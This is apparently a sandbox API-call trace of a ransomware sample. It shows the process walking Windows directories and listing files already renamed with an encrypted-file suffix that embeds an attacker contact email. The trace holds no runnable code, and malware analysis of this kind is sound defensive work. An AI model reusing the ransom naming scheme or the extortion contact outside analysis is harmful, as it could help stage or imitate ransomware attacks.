	[0219.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.135] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.135] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ded97ed, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ded97ed, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e8d53f8, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.135] GetLastError () returned 0x12
	[0219.135] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ded97ed, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ded97ed, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e8d53f8, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x13822, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.135] GetLastError () returned 0x12
	[0219.136] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6a7fd0, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d6a7fd0, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d7d8a5a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.136] GetLastError () returned 0x12
	[0219.136] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6a7fd0, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d6a7fd0, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d7d8a5a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.136] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.136] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0219.136] FindNextFileW (in: hFindFile=0x138fe0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1044", cAlternateFileName="")) returned 1
	[0219.136] GetLastError () returned 0x12
	[0219.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1391e0
	[0219.235] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.235] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8d53f8, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3e8d53f8, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e8fb5fb, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.235] GetLastError () returned 0x12

Thread:
	id = 116
	os_tid = 0xe04

	[0218.844] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x38) returned 0x68b740
	[0218.844] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x18) returned 0x68b780
	[0218.844] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x298
	[0218.844] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x29c
	[0218.844] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2a0
	[0218.844] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x770068
	[0218.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1373957, lpParameter=0x2b8fa1c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0218.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1373957, lpParameter=0x2b8fa1c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0218.846] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x780070
	[0218.846] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2b8f794 | out: lpFindFileData=0x2b8f794*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x1391a0
	[0218.846] GetLastError () returned 0x0
	[0218.846] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x214) returned 0x688d28
	[0218.847] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74ae0000
	[0218.847] GetCurrentThreadId () returned 0xe04
	[0218.847] SetLastError (dwErrCode=0x0) 
	[0218.847] GetLastError () returned 0x0
	[0218.847] SetLastError (dwErrCode=0x0) 
	[0218.847] GetLastError () returned 0x0
	[0218.847] SetLastError (dwErrCode=0x0) 
	[0218.847] GetLastError () returned 0x0
	[0218.847] SetLastError (dwErrCode=0x0) 
	[0218.847] GetLastError () returned 0x0
	[0218.847] SetLastError (dwErrCode=0x0) 
	[0218.847] GetLastError () returned 0x0
	[0218.847] SetLastError (dwErrCode=0x0) 
	[0218.847] GetLastError () returned 0x0
	[0218.847] SetLastError (dwErrCode=0x0) 
	[0218.847] GetLastError () returned 0x0
	[0218.847] SetLastError (dwErrCode=0x0) 
	[0218.847] GetLastError () returned 0x0
	[0218.847] SetLastError (dwErrCode=0x0) 
	[0218.847] GetLastError () returned 0x0
	[0218.847] SetLastError (dwErrCode=0x0) 
	[0218.847] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x790078
	[0218.848] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0218.848] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1
	[0218.848] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1
	[0218.848] GetLastError () returned 0x0
	[0218.848] SetLastError (dwErrCode=0x0) 
	[0218.848] GetLastError () returned 0x0
	[0218.848] SetLastError (dwErrCode=0x0) 
	[0218.848] GetLastError () returned 0x0
	[0218.848] SetLastError (dwErrCode=0x0) 
	[0218.848] GetLastError () returned 0x0
	[0218.848] SetLastError (dwErrCode=0x0) 
	[0218.848] GetLastError () returned 0x0
	[0218.848] SetLastError (dwErrCode=0x0) 
	[0218.848] GetLastError () returned 0x0
	[0218.848] SetLastError (dwErrCode=0x0) 
	[0218.848] GetLastError () returned 0x0
	[0218.848] SetLastError (dwErrCode=0x0) 
	[0218.848] GetLastError () returned 0x0
	[0218.849] SetLastError (dwErrCode=0x0) 
	[0218.849] GetLastError () returned 0x0
	[0218.849] SetLastError (dwErrCode=0x0) 
	[0218.849] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x7a0080
	[0218.849] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.850] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.850] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca95630, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ca95630, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cb07eb2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DOWNLE~1.PHO")) returned 1
	[0218.850] GetLastError () returned 0x0
	[0218.850] SetLastError (dwErrCode=0x0) 
	[0218.850] GetLastError () returned 0x0
	[0218.850] SetLastError (dwErrCode=0x0) 
	[0218.850] GetLastError () returned 0x0
	[0218.850] SetLastError (dwErrCode=0x0) 
	[0218.850] GetLastError () returned 0x0
	[0218.850] SetLastError (dwErrCode=0x0) 
	[0218.850] GetLastError () returned 0x0
	[0218.850] SetLastError (dwErrCode=0x0) 
	[0218.850] GetLastError () returned 0x0
	[0218.850] SetLastError (dwErrCode=0x0) 
	[0218.850] GetLastError () returned 0x0
	[0218.850] SetLastError (dwErrCode=0x0) 
	[0218.850] GetLastError () returned 0x0
	[0218.850] SetLastError (dwErrCode=0x0) 
	[0218.850] GetLastError () returned 0x0
	[0218.850] SetLastError (dwErrCode=0x0) 
	[0218.850] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.851] SetLastError (dwErrCode=0x0) 
	[0218.851] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.852] GetLastError () returned 0x0
	[0218.852] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.853] SetLastError (dwErrCode=0x0) 
	[0218.853] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.854] SetLastError (dwErrCode=0x0) 
	[0218.854] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.855] GetLastError () returned 0x0
	[0218.855] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.856] SetLastError (dwErrCode=0x0) 
	[0218.856] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.857] SetLastError (dwErrCode=0x0) 
	[0218.857] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.858] SetLastError (dwErrCode=0x0) 
	[0218.858] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.859] GetLastError () returned 0x0
	[0218.859] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.860] GetLastError () returned 0x0
